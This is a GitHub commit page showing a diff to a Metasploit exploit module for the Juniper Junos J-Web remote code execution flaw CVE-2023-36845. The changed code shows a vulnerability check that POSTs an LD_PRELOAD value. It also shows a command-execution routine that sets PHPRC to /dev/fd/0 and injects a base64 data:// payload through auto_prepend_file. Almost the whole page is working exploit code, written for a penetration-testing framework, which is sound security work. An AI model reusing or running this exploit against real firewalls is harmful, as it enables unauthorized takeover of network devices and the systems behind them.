Skip to content

Commit

Permalink
Improved request sending and added watchtower ref
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Sep 21, 2023
1 parent da8c020 commit 12de4dd
Showing 1 changed file with 9 additions and 4 deletions.
13 changes: 9 additions & 4 deletions modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ def initialize(info = {})
'Ron Bowes' # Target setup instructions
],
'References' => [
[ 'URL', 'https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/'],
[ 'URL', 'https://vulncheck.com/blog/juniper-cve-2023-36845'],
[ 'URL', 'https://supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution?language=en_US'],
[ 'CVE', '2023-36845']
Expand All @@ -55,9 +56,10 @@ def initialize(info = {})

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '?LD_PRELOAD=/tmp/ld'),
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded'
'ctype' => 'application/x-www-form-urlencoded',
'data' => 'LD_PRELOAD=/tmp/ld'
)

return CheckCode::Appears('Environment variable manipulation succeeded indicating this target is vulnerable.') if res && res.body.include?('Cannot open "/tmp/ld"')
Expand All @@ -70,10 +72,13 @@ def execute_command(cmd, _opts = {})
post_data << "auto_prepend_file=\"data://text/plain;base64,#{Rex::Text.encode_base64(cmd)}\""

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '?PHPRC=/dev/fd/0'),
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => 'application/x-www-form-urlencoded'
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
'PHPRC' => '/dev/fd/0'
}
)

print_error('The exploitation attempt returned a response which indicates exploitation was unsuccessful.') if res
Expand Down

0 comments on commit 12de4dd

Please sign in to comment.